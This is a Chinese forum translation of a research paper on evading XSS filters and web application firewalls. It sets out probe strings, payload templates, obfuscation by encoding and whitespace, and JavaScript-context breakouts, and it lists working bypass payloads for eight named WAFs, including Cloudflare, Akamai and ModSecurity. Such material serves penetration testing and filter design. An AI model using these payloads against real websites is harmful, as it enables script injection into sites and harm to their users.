首页
社区
课程
招聘
[翻译]绕过XSS检测机制
2019-4-18 11:10 10438

[翻译]绕过XSS检测机制

2019-4-18 11:10
10438

绕过XSS检测机制

—Somdev Sangwan

摘要

本文提出了一种绕过XSS安全机制的方法,该方法对检测机制在检测恶意代码字符串时使用的规则进行假设,并基于这些假设发送探针和构造payload。

 

该方法包括三个阶段:确定payload的结构,探测和混淆。

 

对给定文本确定不同payload结构有助于确定最优测试方案。下一步,探测,具体而言是针对目标的安全机制测试各种字符串,分析目标给出的回应。

 

最后,如果需要的话,对payload使用混淆和其他加固方案。

关于作者

黑客

致读者

本文假设读者对XSS、HTML和 JavaScript 有一定的了解。

 

本文中,{string}表示payload的组成部分,{?string}表示可选部分,primary character 表示某个符号必须存在。

 

建议在payload中使用不安全字符(如+&)之前对其使用URL编码。

 

在探测时,无害字符串应该使用{javascript}代替。

目录

  • 引言
  • HTML context
    • 标签外
      • 可执行context
      • 不可执行context
    • 标签内/作为属性值
      • 在event handler内
      • 在 ‘src’ 属性内
      • 在 ‘srcdoc’ 属性内
      • 通用属性
        • 可交互的
        • 不可交互的
  • JavaScript context
    • 在字符串变量内
    • 在代码块内
  • 绕过WAF

引言

跨站脚本(Cross Site Script,XSS)是最常见的Web应用漏洞之一。一般可通过下列措施预防:过滤用户输入、基于context转义输出、正确使用DOM接收器和源,实施适当的跨源资源共享(Cross Origin Resource Sharing, CORS)策略和其他安全实践。尽管这些防御措施已经成为共识,但是在其他层面通常还会使用Web应用防火墙(WAF)或其他定制的过滤器来保护web应用使其免受因人为错误或新引入的攻击向量而带来的漏洞利用。虽然WAF厂商已经开始尝试引入机器学习方法,正则表达式仍然是检测恶意字符串最常用的方法。

 

本文提出了一种构造XSSpayload的方法,可以绕过这些安全机制所使用的正则表达式

HTML Context

当用户用户输入的信息反映在网页的HTML中时,它就称为HTML context。根据位置的不同可以将HTML context分为两类:

  • 标签内 - <input type="text" value="$input">
  • 标签外- <span>You entered $input</span>

标签外

这种context的primary character<,表示HTML 标签的开始。

 

根据HTML规范,标签名需以字母开头。因此,可以使用以下探测器来确定用于匹配标签名的正则表达式:

  • <svg - 如果通过,则没有进行任何标签检查
  • <dev - 如果失败,<[a-z]+
  • x<dev - 如果通过,^<[a-z]+
  • <dEv - 如果失败, <[a-zA-Z]+
  • <d3V - 如果失败, <[a-zA-Z0-9]+
  • <d|3v -如果失败, <.+

如果安全机制不允许使用这些探测器,则无法绕过它。

 

不建议使用这种限制条件,因为会导致高假正率(false positive,将正常操作判断为异常操作的数量)。

 

如果以上任意一个探测器能够成功,那么将有很多构造payload的方案。

Payload 方案1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

 

一旦发现合适的{tag}值,下一步就是猜测用来匹配filler的正则表达式(这里的filler是在tag和event_handler之间的那个filler)。可通过下列探测器来实现:

  • <tag xxx - 如果失败, 则服务器用于检测的正则表达式为{space}
  • <tag%09xxx - 如果失败,则服务器用于检测的正则表达式为 [\s]
  • <tag%09%09xxx - 如果失败, 则服务器用于检测的正则表达式为\s+
  • <tag/xxx - 如果失败, 则服务器用于检测的正则表达式为[\s/]+
  • <tag%0axxx-如果失败, 则服务器用于检测的正则表达式为[\s\n]+
  • <tag%0dxxx>- 如果失败, 则服务器用于检测的正则表达式为[\s\n\r+]+
  • <tag/~/xxx -如果失败, 则服务器用于检测的正则表达式为.*+

event_handler是payload结构中最重要的组成部分之一,它通常要么匹配如on\w+的正则表达式,或如on(load|click|error|show)之类的黑名单。正则表达式限制性很强,不容易绕过。但是黑名单的模式可以使用较为罕见的event_handler绕过。可以做两个简单的检查来确定服务器使用的是哪种方式。

  • <tag{filler}onxxx - 如果失败, on\w+. 如果成功, on(load|click|error|show)
  • <tag{filler}onclick - 如果成功,则不使用正则表达式检查event_handler。

如果正则表达式确定是on\w+,则无法绕过,因为所有的event_handler都是以on开头。这时,你需要使用其他的payload构造方案。如果正则表达式遵循黑名单方法,你需要查找不在黑名单上的event_handler。如果所有的event_handler都在黑名单上,你需要使用其他的payload构造方案。

 

在我进行绕过WAF的实验过程中发现的不在黑名单上的event_handler有:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

=附近的filler的测试与前一个filler类似,而且只在<tag{filler}{event_handler}=d3v是被安全机制封锁时才测试。

 

下一个组成部分是要执行的JavaScript代码,属于payload的活动部分,但是不需要对用于匹配它的正则表达式作任何的假设,因为JavaScript代码是任意的,因此无法通过预定义模式进行匹配。

 

同时,payload的所有组成部分要放在一起,并括起来。可以用下面几种方式:

  • <payload>
  • <payload
  • <payload{space}
  • <payload//
  • <payload%0a
  • <payload%0d
  • <payload%09

应该指出的是,HTML允许<tag{white space}{anything here}>这样的格式,所以类似 <a href='http://example.com' ny text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>的标签是有效的。HTML标签的这种性质让攻击者可以用上面提到的方法将恶意代码注入到HTML标签中。

Payload 方案2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

 

对filler和结束符的测试与前一个payload方案一样。需要指出的是,需要放在URL的尾部(如果URL后面没有filler)而不是标签的后面。任何放在后面的字符都被当做URL的一部分,直到遇到>. 使用<script>标签会被大多数安全机制检测出来。

 

可以使用同样的方法构造带<object>标签的payload。

 

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

Payload 方案3

这个payload方案有两种版本:简单版本和混淆版本。

 

简单版本一般匹配类似href[\s]*=[\s]*javascript:的模式。它的结构如下所示:

 

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

 

混淆版本结构如下所示:

 

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

 

这两个版本最大的不同是 {special}{quote}这两个组成部分。

 

{special}指的是字符串javascript的混淆版本,可以使用换行符和水平制表符对其进行混淆,如下所示:

  • j%0aAv%0dasCr%09ipt:
  • J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:
  • J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:

在有些情况下数字符加密也可以躲避检测。十进制和十六进制都可以。

  • &#74;avascript&colon;
  • jav&#x61;&#115;cript:

显然,如有必要,可以同时使用两种混淆方案。

  • &#74;ava%0a%0d%09script&colon;

可执行context与不可执行context

标签外的context根据注入的payload是否可以直接执行分为可执行context不可执行context

 

不可执行context是指在HTML注释中,即<--$input-->,或者以下标签中的用户输入:

<style>
<title>
<noembed>
<template>
<noscript>
<textarea>

为了执行payload,这些标签必须是封闭的。因此,可执行context不可执行context之间的唯一不同就是对{closing tag}组成部分的测试,可通过以下方式测试{closing tag}

  • </tag>
  • </tAg/x>
  • </tag{space}>
  • </tag//>
  • </tag%0a>
  • </tag%0d>
  • </tag%09>

一旦发现任何可用的closing tag,都可以使用{closing tag}{any payload from executable payload section}完成注入。

标签内

在标签内/作为属性值

这个context的primary character就是将属性值括起来所用的引号。例如,如果用户的输入是传送到<input value="$input" type="text"> ,那么这里的关键符应该是.

 

但是,在有些情况下并不需要用primary character显示context。

在event handler内部

如果用户输入是某个与event handler相关的值,例如,<tag event_handler="function($input)"; ,触发该事件就会执行该值中的JavaScript代码。

在'src'属性内

如果用户输入是script或iframe中src属性的值,例如,<script src="$input">,那么可以直接使用<script src="http://example.com/malicious.js">直接加载恶意代码(如果是script标签)或者恶意网页(如果是iframe标签)。

 

#####绕过匹配URL的正则表达式

  • //example.com/xss.js bypasses http(s)?//
  • ////////example.com/xss.js bypasses (http(s)?)?//
  • /\///\\/example.com/xss.js bypasses (http(s)?)?//+
在‘srcdoc’属性内

如果用户输入是iframe的srcdoc属性值,例如,<iframe srcdoc="$input">

 

可以将转义(使用HTML实体)HTML文档作为payload,如下所示:

 

<iframe srcdoc="&lt;svg/onload=alert()&gt;">

通用属性

以上例子除了最后一个都不需要任何绕过技术,而最后一个可以使用在HTML context部分提到的技术绕过。上面所说的例子是不常见的,用户输入最常被传送到的地方是:

 

<input type="text" value="$input">

 

根据可交互性可以将其分为两类。

可交互的
 

当用户输入的某个属性值是可交互的,例如,点击、徘徊、聚焦等等,那么只需要一个引号就能跳出该context。这种情况下的payload构造方案如下:

 

{quote}{filler}{event_handler}{?filler}={?filler}{javascript}

 

可使用下面的方式检测WAF是否限制引号(不太可能会限制)。

 

x"y

 

这里的event_handler很重要,因为它是唯一一个可能被WAF检测到的组成部分。每个标签都会支持几个event handler,并且由用户决定是哪种event handler。但是,也有一些event handler可以绑定到任意标签中,如下所示:

onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup

对其他组成部分的测试可以使用前文所述的方法。

不可交互的
 

如果用户输入的某个属性值是不可交互的,那么需要跳出该标签才能执行payload。这种情况下的payload构造方法如下:

 

{quote}>{any payload scheme from html context section}

JavaScript context

在字符串变量内

用户输入作为JavaScript context最常见的方式是作为一个字符串变量。这种情况很常见,因为开发人员通常会将用户输入赋值给某个变量,而不是直接使用用户输入。

 

var name = '$input';

payload 方案1

{quote}{delimiter}{javascript}{delimiter}{quote}

 

这里的delimiter通常是Javascript的一个操作,如^。 例如,如果用户输入的值是放在一个带引号的字符串变量中,那么payload构造方案可如下所示:

'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
payload 方案2

{quote}{delimiter}{javascript}//

 

除了注释符,这个构造方案和前一个方案很像,它使用//注释掉后面的代码以保证语法正确。

 

可使用如下方案构造payload:

'<{javascript}//'
'|{javascript}//'
'^{javascript}//'

在代码块内

用户输入通常会表现在代码块内。例如,如果用户已付费订阅且超过18岁,网页会执行某些操作。

 

用户输入在代码块中的表现如下所示:

function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('$input');
        }
    else{
        console.log('Requirements not met.');
    }
}

假设我们没有付费。为了绕过这个判断,我们需要关闭条件代码块和函数调用等代码块,跳出if (subscription) 。如果用户输入是');}}alert();if(true){(',那么上面的代码将变成:

function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('');}}alert();if(true){('');
        }
    else{
        console.log('Requirements not met.');
    }
}

将上面的代码缩进后,如下所示:

function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('');
        }
    }
    alert();
    if (true){
        ('');
    }
    else{
        console.log('Requirements not met.');
    }
}

); 结束了当前函数调用。

 

第一个 } 结束了if (age > 18)语句

 

第二个} 结束了if subscription 语句

 

alert();是一个测试函数

 

if(true){ 是和后面的else语句对应,保证语法正确。

 

最后, (' 与我们最初注入的函数的剩余部分结合在一起。

 

上面这种情况是你在实践过程中遇到的最简单的代码块。为了简化跳出代码块的过程,建议使用类似Sublime Text来高亮。

 

payload的构造方案取决于代码本身,而这种不确定让它很难被检测出来。但是,如果需要,还要混淆代码。

 

例如,上面代码块所使用的payload可以这么写:

 

');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('

 

不管是在代码块还是在字符串变量中都可以使用</scRipT{?filler}>{html context payload}跳出上下文并执行payload。可以在任何情况下使用先使用这种payload测试,因为它很简单。但是,它也很容易被检测出来。

绕过waf实战

在研究过程中,总共绕过了8个WAF。厂商可能已经了解到这些绕过方法,所以下面的部分(或全部)方法可能已经无效了。

 

下面列出绕过的WAF,payload和绕过技术:

 

Name: Cloudflare\
Payload: <a"/onclick=(confirm)()>click\
Bypass Technique: 无空格 filler

 

Name: Wordfence\
Payload: <a/href=javascript&colon;alert()>click\
Bypass Technique: 数字符编码

 

Name: Barracuda\
Payload: <a/href=&#74;ava%0a%0d%09script&colon;alert()>click\
Bypass Technique: 数字符编码

 

Name: Akamai\
Payload: <d3v/onauxclick=[2].some(confirm)>click\
Bypass Technique: 使用黑名单中缺少的event handler; 混淆函数调用

 

Name: Comodo\
Payload: <d3v/onauxclick=(((confirm)))``>click\
Bypass Technique: 使用黑名单中缺少的event handler; 混淆函数调用

 

Name: F5\
Payload: <d3v/onmouseleave=[2].some(confirm)>click\
Bypass Technique: 使用黑名单中缺少的event handler; 混淆函数调用

 

Name: ModSecurity\
Payload: <details/open/ontoggle=alert()>\
Bypass Technique: 使用黑名单中缺少的tag(也缺少event handler?)

 

Name: dotdefender\
Payload: <details/open/ontoggle=(confirm)()//\
Bypass Technique: 使用黑名单中缺少的tag;混淆函数调用;备用标签结束

参考文献

原文链接:https://github.com/s0md3v/MyPapers/tree/master/Bypassing-XSS-detection-mechanisms
编译:看雪翻译小组 lumou
校对:看雪翻译小组 梦野间


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回